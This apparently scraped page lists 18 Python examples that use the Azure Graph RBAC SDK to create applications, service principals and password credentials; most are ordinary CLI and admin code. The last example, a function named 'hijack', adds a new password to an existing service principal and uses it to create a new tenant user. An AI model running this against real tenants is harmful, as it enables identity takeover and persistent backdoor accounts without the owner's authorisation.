Esempio n. 1
0
def create_aad_user(credentials, tenant_id, **kwargs):
    """
        Create an AAD application and service principal
        :param credentials: msrestazure.azure_active_directory.AdalAuthentication
        :param tenant_id: str
        :param **application_name: str
    """
    graph_rbac_client = GraphRbacManagementClient(
        credentials, tenant_id, base_url=AZURE_PUBLIC_CLOUD.endpoints.active_directory_graph_resource_id)
    application_credential = uuid.uuid4()
    try:
        display_name = kwargs.get("application_name", DefaultSettings.application_name)
        application = graph_rbac_client.applications.create(
            parameters=ApplicationCreateParameters(
                available_to_other_tenants=False,
                identifier_uris=["http://{}.com".format(display_name)],
                display_name=display_name,
                password_credentials=[
                    PasswordCredential(
                        start_date=datetime(2000, 1, 1, 0, 0, 0, 0, tzinfo=timezone.utc),
                        end_date=datetime(2299, 12, 31, 0, 0, 0, 0, tzinfo=timezone.utc),
                        value=application_credential,
                        key_id=uuid.uuid4())
                ]))
        service_principal = graph_rbac_client.service_principals.create(
            ServicePrincipalCreateParameters(app_id=application.app_id, account_enabled=True))
    except GraphErrorException as e:
        if e.inner_exception.code == "Request_BadRequest":
            application = next(
                graph_rbac_client.applications.list(
                    filter="identifierUris/any(c:c eq 'http://{}.com')".format(display_name)))

            confirmation_prompt = "Previously created application with name {} found. "\
                                  "Would you like to use it? (y/n): ".format(application.display_name)
            prompt_for_confirmation(confirmation_prompt, e, ValueError("Response not recognized. Please try again."))
            password_credentials = list(
                graph_rbac_client.applications.list_password_credentials(application_object_id=application.object_id))
            password_credentials.append(
                PasswordCredential(
                    start_date=datetime(2000, 1, 1, 0, 0, 0, 0, tzinfo=timezone.utc),
                    end_date=datetime(2299, 12, 31, 0, 0, 0, 0, tzinfo=timezone.utc),
                    value=application_credential,
                    key_id=uuid.uuid4()))
            graph_rbac_client.applications.patch(
                application_object_id=application.object_id,
                parameters=ApplicationUpdateParameters(password_credentials=password_credentials))
            service_principal = next(
                graph_rbac_client.service_principals.list(filter="appId eq '{}'".format(application.app_id)))
        else:
            raise e

    return application.app_id, service_principal.object_id, str(application_credential)
Esempio n. 2
0
def _build_application_creds(password=None, key_value=None, key_type=None,#pylint: disable=too-many-arguments
                             key_usage=None, start_date=None, end_date=None):
    if password and key_value:
        raise CLIError('specify either --password or --key-value, but not both.')

    if not start_date:
        start_date = datetime.datetime.utcnow()
    elif isinstance(start_date, str):
        start_date = dateutil.parser.parse(start_date)

    if not end_date:
        end_date = start_date + relativedelta(years=1)
    elif isinstance(end_date, str):
        end_date = dateutil.parser.parse(end_date)#pylint: disable=redefined-variable-type

    key_type = key_type or 'AsymmetricX509Cert'
    key_usage = key_usage or 'Verify'

    password_creds = None
    key_creds = None
    if password:
        password_creds = [PasswordCredential(start_date, end_date, str(uuid.uuid4()), password)]
    elif key_value:
        key_creds = [KeyCredential(start_date, end_date, key_value, str(uuid.uuid4()),
                                   key_usage, key_type)]

    return (password_creds, key_creds)
Esempio n. 3
0
    def refresh_application_credentials(self, object_id):
        password = uuid.uuid4()
        key_id = uuid.uuid4()
        start_date = datetime.datetime.utcnow()
        end_date = datetime.datetime(2299, 12, 31, tzinfo=datetime.timezone.utc)

        try:
            credentials = list(self.client.applications.list_password_credentials(object_id))
        except GraphErrorException as e:
            logger.error(e.message)
            raise

        # keys created with older version of cli are not updatable
        # https://github.com/Azure/azure-sdk-for-python/issues/18131
        for c in credentials:
            if c.custom_key_identifier is None:
                raise BadRequestError("Cluster AAD application contains a client secret with an empty identifier.\n\
Please either manually remove the existing client secret and run `az aro update --refresh-credentials`, \n\
or manually create a new client secret and run `az aro update --client-secret <ClientSecret>`.")

        # when appending credentials ALL fields must be present, otherwise
        # azure gives ambiguous errors about not being able to update old keys
        credentials.append(PasswordCredential(
            custom_key_identifier=str(start_date).encode(),  # bytearray
            key_id=str(key_id),
            start_date=start_date,
            end_date=end_date,
            value=password))

        self.client.applications.update_password_credentials(object_id, credentials)

        return password
Esempio n. 4
0
    def create_application(self, display_name):
        password = uuid.uuid4()
        start_date = datetime.datetime.utcnow()
        end_date = datetime.datetime(2299,
                                     12,
                                     31,
                                     tzinfo=datetime.timezone.utc)

        app = self.client.applications.create(
            ApplicationCreateParameters(
                display_name=display_name,
                identifier_uris=[
                    self.MANAGED_APP_PREFIX + str(uuid.uuid4()),
                ],
                password_credentials=[
                    PasswordCredential(
                        custom_key_identifier=str(start_date).encode(),
                        start_date=start_date,
                        end_date=end_date,
                        value=password,
                    ),
                ],
            ))

        return app, password
Esempio n. 5
0
    def create_application(self, display_name):
        password = uuid.uuid4()

        try:
            end_date = datetime.datetime(2299,
                                         12,
                                         31,
                                         tzinfo=datetime.timezone.utc)
        except AttributeError:
            end_date = datetime.datetime(2299, 12, 31)

        app = self.client.applications.create(
            ApplicationCreateParameters(
                display_name=display_name,
                identifier_uris=[
                    self.MANAGED_APP_PREFIX + str(uuid.uuid4()),
                ],
                password_credentials=[
                    PasswordCredential(
                        end_date=end_date,
                        value=password,
                    ),
                ],
            ))

        return app, password
Esempio n. 6
0
def create_service_principal(name=None, secret=None, years=1):
    '''create a service principal you can use with login command

    :param str name: an unique uri. If missing, the command will generate one.
    :param str secret: the secret used to login. If missing, command will generate one.
    :param str years: Years the secret will be valid.
    '''
    start_date = datetime.datetime.now()
    app_display_name = 'azure-cli-' + start_date.strftime('%Y-%m-%d-%H-%M-%S')
    if name is None:
        name = 'http://' + app_display_name

    key_id = str(uuid.uuid4())
    end_date = start_date + relativedelta(years=years)
    secret = secret or str(uuid.uuid4())
    app_cred = PasswordCredential(start_date, end_date, key_id, secret)
    app_create_param = ApplicationCreateParameters(
        False,
        app_display_name,
        'http://' + app_display_name, [name],
        password_credentials=[app_cred])

    profile = Profile()
    cred, _, tenant = profile.get_login_credentials(for_graph_client=True)

    client = GraphRbacManagementClient(cred, tenant)

    #pylint: disable=no-member
    aad_application = client.applications.create(app_create_param)
    aad_sp = client.service_principals.create(aad_application.app_id, True)

    _build_output_content(name, aad_sp.object_id, secret, tenant)
Esempio n. 7
0
    def create_password(self, old_passwords):
        def gen_guid():
            return uuid.uuid4()

        if self.value is None:
            self.fail(
                "when creating a new password, module parameter value can't be None"
            )

        start_date = datetime.datetime.now(datetime.timezone.utc)
        end_date = self.end_date or start_date + relativedelta(years=1)
        value = self.value
        key_id = self.key_id or str(gen_guid())

        new_password = PasswordCredential(start_date=start_date,
                                          end_date=end_date,
                                          key_id=key_id,
                                          value=value,
                                          custom_key_identifier=None)
        old_passwords.append(new_password)

        try:
            client = self.get_graphrbac_client(self.tenant)
            app_patch_parameters = ApplicationUpdateParameters(
                password_credentials=old_passwords)
            client.applications.patch(self.app_object_id, app_patch_parameters)

            new_passwords = self.get_all_passwords()
            for pd in new_passwords:
                if pd.key_id == key_id:
                    self.results['changed'] = True
                    self.results.update(self.to_dict(pd))
        except GraphErrorException as ge:
            self.fail("failed to create new password: {0}".format(str(ge)))
Esempio n. 8
0
def _build_password_credential(password, years):
    years = years or 1

    start_date = datetime.datetime.now(TZ_UTC)
    end_date = start_date + relativedelta(years=years)

    from azure.graphrbac.models import PasswordCredential
    return PasswordCredential(start_date=start_date, end_date=end_date, key_id=str(_gen_guid()), value=password)
Esempio n. 9
0
def reset_service_principal_credential(name, password=None, create_cert=False, cert=None, years=1):
    '''reset credential, on expiration or you forget it.

    :param str name: the name, can be the app id uri, app id guid, or display name
    :param str password: the password used to login. If missing, command will generate one.
    :param str cert: PEM formatted public certificate. Do not include private key info.
    :param str years: Years the password will be valid.
    '''
    client = _graph_client_factory()

    # pylint: disable=no-member

    # look for the existing application
    query_exp = "servicePrincipalNames/any(x:x eq \'{0}\') or displayName eq '{0}'".format(name)
    aad_sps = list(client.service_principals.list(filter=query_exp))
    if not aad_sps:
        raise CLIError("can't find a service principal matching '{}'".format(name))
    if len(aad_sps) > 1:
        raise CLIError(
            'more than one entry matches the name, please provide unique names like app id guid, or app id uri')  # pylint: disable=line-too-long
    app = show_application(client.applications, aad_sps[0].app_id)

    # build a new password/cert credential and patch it
    public_cert_string = None
    cert_file = None
    if len([x for x in [cert, create_cert, password] if x]) > 1:
        raise CLIError('Usage error: --cert | --create-cert | --password')
    if create_cert:
        public_cert_string, cert_file = _create_self_signed_cert(years)
    elif cert:
        public_cert_string = cert
    else:
        password = password or str(uuid.uuid4())
    start_date = datetime.datetime.utcnow()
    end_date = start_date + relativedelta(years=years)
    key_id = str(uuid.uuid4())
    app_creds = [PasswordCredential(start_date, end_date, key_id, password)] if password else None
    cert_creds = [KeyCredential(start_date, end_date, public_cert_string, str(uuid.uuid4()),
                                usage='Verify',
                                type='AsymmetricX509Cert')] if public_cert_string else None  # pylint: disable=line-too-long
    app_create_param = ApplicationUpdateParameters(password_credentials=app_creds,
                                                   key_credentials=cert_creds)

    client.applications.patch(app.object_id, app_create_param)

    result = {
        'appId': app.app_id,
        'password': password,
        'name': name,
        'tenant': client.config.tenant_id
    }
    if cert_file:
        result['fileWithCertAndPrivateKey'] = cert_file
    return result
Esempio n. 10
0
def _build_application_creds(password=None,
                             key_value=None,
                             key_type=None,
                             key_usage=None,
                             start_date=None,
                             end_date=None):
    if password and key_value:
        raise AzCLIError(
            "specify either --password or --key-value, but not both.")

    if not start_date:
        start_date = datetime.datetime.utcnow()
    elif isinstance(start_date, str):
        start_date = dateutil.parser.parse(start_date)

    if not end_date:
        end_date = start_date + relativedelta(years=1)
    elif isinstance(end_date, str):
        end_date = dateutil.parser.parse(end_date)

    key_type = key_type or "AsymmetricX509Cert"
    key_usage = key_usage or "Verify"

    password_creds = None
    key_creds = None
    if password:
        password_creds = [
            PasswordCredential(start_date=start_date,
                               end_date=end_date,
                               key_id=str(uuid.uuid4()),
                               value=password)
        ]
    elif key_value:
        key_creds = [
            KeyCredential(
                start_date=start_date,
                end_date=end_date,
                value=key_value,
                key_id=str(uuid.uuid4()),
                usage=key_usage,
                type=key_type,
            )
        ]

    return (password_creds, key_creds)
Esempio n. 11
0
    def addClientSecret(self, key):
        appObjId = self.getAppObjId()

        if appObjId is None:
            return

        passwordCredential = PasswordCredential(
            start_date=datetime.datetime.now(),
            end_date="2299-12-31T06:08:04.0863895Z",
            value=key)

        credentials = [
            c for c in self.getGraphRbacClient().applications.
            list_password_credentials(appObjId)
        ]
        credentials.append(passwordCredential)
        self.getGraphRbacClient().applications.update_password_credentials(
            appObjId, credentials)
Esempio n. 12
0
def add_application_password_legacy(app_object_id: UUID) -> Tuple[str, str]:
    key = str(uuid4())
    password = str(uuid4())

    client = get_graph_client()
    password_cred = [
        PasswordCredential(
            start_date="%s" % datetime.now(TZ_UTC).strftime("%Y-%m-%dT%H:%M.%fZ"),
            end_date="%s"
            % (datetime.now(TZ_UTC) + timedelta(days=365)).strftime(
                "%Y-%m-%dT%H:%M.%fZ"
            ),
            key_id=key,
            value=password,
        )
    ]
    client.applications.update_password_credentials(app_object_id, password_cred)
    return (key, password)
Esempio n. 13
0
def reset_service_principal_credential(name, password=None, years=1):
    '''reset credential, on expiration or you forget it.

    :param str name: the uri representing the name of the service principal
    :param str password: the password used to login. If missing, command will generate one.
    :param str years: Years the password will be valid.
    '''
    client = _graph_client_factory()

    #pylint: disable=no-member

    #look for the existing application
    query_exp = 'identifierUris/any(x:x eq \'{}\')'.format(name)
    aad_apps = list(client.applications.list(filter=query_exp))
    if not aad_apps:
        raise CLIError(
            'can\'t find an application matching \'{}\''.format(name))
    #no need to check 2+ matches, as app id uri is unique
    app = aad_apps[0]

    #look for the existing service principal
    query_exp = 'servicePrincipalNames/any(x:x eq \'{}\')'.format(name)
    aad_sps = list(client.service_principals.list(filter=query_exp))
    if not aad_sps:
        raise CLIError(
            'can\'t find a service principal matching \'{}\''.format(name))

    #build a new password credential and patch it
    password = password or str(uuid.uuid4())
    start_date = datetime.datetime.now()
    end_date = start_date + relativedelta(years=years)
    key_id = str(uuid.uuid4())
    app_cred = PasswordCredential(start_date, end_date, key_id, password)
    app_create_param = ApplicationUpdateParameters(
        password_credentials=[app_cred])

    client.applications.patch(app.object_id, app_create_param)

    return {
        'appId': app.app_id,
        'password': password,
        'name': name,
        'tenant': client.config.tenant_id
    }
Esempio n. 14
0
def reset_service_principal_credential(name, secret=None, years=1):
    '''reset credential, on expiration or you forget it.

    :param str name: the uri representing the name of the service principal
    :param str secret: the secret used to login. If missing, command will generate one.
    :param str years: Years the secret will be valid.
    '''
    profile = Profile()
    cred, _, tenant = profile.get_login_credentials(for_graph_client=True)
    client = GraphRbacManagementClient(cred, tenant)

    #pylint: disable=no-member

    #look for the existing application
    query_exp = 'identifierUris/any(x:x eq \'{}\')'.format(name)
    aad_apps = list(client.applications.list(filter=query_exp))
    if not aad_apps:
        raise CLIError(
            'can\'t find a graph application matching \'{}\''.format(name))
    #no need to check 2+ matches, as app id uri is unique
    app = aad_apps[0]

    #look for the existing service principal
    query_exp = 'servicePrincipalNames/any(x:x eq \'{}\')'.format(name)
    aad_sps = list(client.service_principals.list(filter=query_exp))
    if not aad_sps:
        raise CLIError(
            'can\'t find an service principal matching \'{}\''.format(name))
    sp_object_id = aad_sps[0].object_id

    #build a new password credential and patch it
    secret = secret or str(uuid.uuid4())
    start_date = datetime.datetime.now()
    end_date = start_date + relativedelta(years=years)
    key_id = str(uuid.uuid4())
    app_cred = PasswordCredential(start_date, end_date, key_id, secret)
    app_create_param = ApplicationUpdateParameters(
        password_credentials=[app_cred])

    client.applications.patch(app.object_id, app_create_param)

    _build_output_content(name, sp_object_id, secret, tenant)
Esempio n. 15
0
    def createApp(self, key, appName):
        passwordCredential = PasswordCredential(start_date=datetime.datetime.now(),
                                                end_date="2299-12-31T06:08:04.0863895Z",
                                                value=key
                                                )

        resourceAccess = self.__getResourceAccessJson();

        if len(resourceAccess) == 0:
            raise Exception("No resource accesses found")
        parameters = ApplicationCreateParameters(available_to_other_tenants=False,
                                                 display_name=appName,
                                                 homepage=self.__identifierUrl,
                                                 identifier_uris=[self.__identifierUrl],
                                                 required_resource_access=resourceAccess,
                                                 password_credentials=[passwordCredential])
        application = self.getGraphRbacClient().applications.create(parameters)

        logging.info("Created App with id: " + application.app_id)
        return application.app_id
Esempio n. 16
0
def reset_service_principal_credential(name, password=None, years=1):
    '''reset credential, on expiration or you forget it.

    :param str name: the name, can be the app id uri, app id guid, or display name
    :param str password: the password used to login. If missing, command will generate one.
    :param str years: Years the password will be valid.
    '''
    client = _graph_client_factory()

    #pylint: disable=no-member

    #look for the existing application
    query_exp = "servicePrincipalNames/any(x:x eq \'{0}\') or displayName eq '{0}'".format(
        name)
    aad_sps = list(client.service_principals.list(filter=query_exp))
    if not aad_sps:
        raise CLIError(
            "can't find a service principal matching '{}'".format(name))
    if len(aad_sps) > 1:
        raise CLIError('more than one entry matches the name, please provide unique names like app id guid, or app id uri')  #pylint: disable=line-too-long
    app = show_application(client.applications, aad_sps[0].app_id)

    #build a new password credential and patch it
    password = password or str(uuid.uuid4())
    start_date = datetime.datetime.utcnow()
    end_date = start_date + relativedelta(years=years)
    key_id = str(uuid.uuid4())
    app_cred = PasswordCredential(start_date, end_date, key_id, password)
    app_create_param = ApplicationUpdateParameters(
        password_credentials=[app_cred])

    client.applications.patch(app.object_id, app_create_param)

    return {
        'appId': app.app_id,
        'password': password,
        'name': name,
        'tenant': client.config.tenant_id
    }
Esempio n. 17
0
def reset_service_principal_credential(name, password=None, create_cert=False,
                                       cert=None, years=None, keyvault=None):
    import pytz
    client = _graph_client_factory()

    # pylint: disable=no-member

    years = years or 1

    # look for the existing application
    query_exp = "servicePrincipalNames/any(x:x eq \'{0}\') or displayName eq '{0}'".format(name)
    aad_sps = list(client.service_principals.list(filter=query_exp))
    if not aad_sps:
        raise CLIError("can't find a service principal matching '{}'".format(name))
    if len(aad_sps) > 1:
        raise CLIError(
            'more than one entry matches the name, please provide unique names like '
            'app id guid, or app id uri')
    app = show_application(client.applications, aad_sps[0].app_id)

    app_start_date = datetime.datetime.now(pytz.utc)
    app_end_date = app_start_date + relativedelta(years=years or 1)

    # build a new password/cert credential and patch it
    public_cert_string = None
    cert_file = None

    password, public_cert_string, cert_file, cert_start_date, cert_end_date = \
        _process_service_principal_creds(years, app_start_date, app_end_date, cert, create_cert,
                                         password, keyvault)

    app_start_date, app_end_date, cert_start_date, cert_end_date = \
        _validate_app_dates(app_start_date, app_end_date, cert_start_date, cert_end_date)

    app_creds = None
    cert_creds = None

    if password:
        app_creds = [
            PasswordCredential(
                start_date=app_start_date,
                end_date=app_end_date,
                key_id=str(uuid.uuid4()),
                value=password
            )
        ]

    if public_cert_string:
        cert_creds = [
            KeyCredential(
                start_date=app_start_date,
                end_date=app_end_date,
                value=public_cert_string,
                key_id=str(uuid.uuid4()),
                usage='Verify',
                type='AsymmetricX509Cert'
            )
        ]

    app_create_param = ApplicationUpdateParameters(password_credentials=app_creds, key_credentials=cert_creds)

    client.applications.patch(app.object_id, app_create_param)

    result = {
        'appId': app.app_id,
        'password': password,
        'name': name,
        'tenant': client.config.tenant_id
    }
    if cert_file:
        result['fileWithCertAndPrivateKey'] = cert_file
    return result
Esempio n. 18
0
def hijack(username, password, tenant_id, service_principal_id):

    domain = username.split('@')[1]

    # Step 0 - authenticate
    logging.info('Authenticating to Azure with the provided credentials')

    graphrbac_credentials = UserPassCredentials(
        username, password, resource='https://graph.windows.net')

    client = GraphRbacManagementClient(graphrbac_credentials,
                                       tenant_id=tenant_id)

    # Step 1 - get the desired service principal
    logging.info('Looking for the desired service principal')

    found = False
    for s in list(client.service_principals.list()):
        if s.app_id == service_principal_id:
            logging.info('Found it - hijacking {} ({})'.format(
                s.app_display_name, s.app_id))
            found = True
            break

    if not found:
        logging.error('Did not find service principal, exiting')
        return

    service_principal = client.service_principals.get(object_id=s.object_id)

    # Step 2 - create new credentials for the service principal
    logging.info('Creating new credentials for {}'.format(s.app_display_name))

    sp_password = '******'
    new_password = PasswordCredential(
        value=sp_password,
        start_date=(datetime.today() - timedelta(days=1)),
        end_date=(datetime.today() + timedelta(days=365)))
    client.service_principals.update_password_credentials(
        object_id=service_principal.object_id, value=[new_password])
    logging.info('Set password \"{}\"'.format(sp_password))

    hijacked_credentials = ServicePrincipalCredentials(
        client_id=s.app_id,
        secret=new_password.value,
        tenant=tenant_id,
        resource='https://graph.windows.net')

    # Step 3 - create a new user with the hijacked service principal credentials
    logging.info('Using hijacked service principal to create a new user')

    client = GraphRbacManagementClient(hijacked_credentials,
                                       tenant_id=tenant_id)

    random_uuid = uuid.uuid4()
    user_name = 'test-{}'.format(random_uuid)
    user_password = '******'
    new_user_password = PasswordProfile(password=user_password)

    logging.info('Creating user {} with password \"{}\"'.format(
        user_name, user_password))
    new_user_parameters = UserCreateParameters(
        account_enabled=True,
        display_name=user_name,
        user_principal_name='{}@{}'.format(random_uuid, domain),
        mail_nickname=user_name,
        password_profile=new_user_password)

    new_user_created = client.users.create(new_user_parameters)

    logging.info('Done')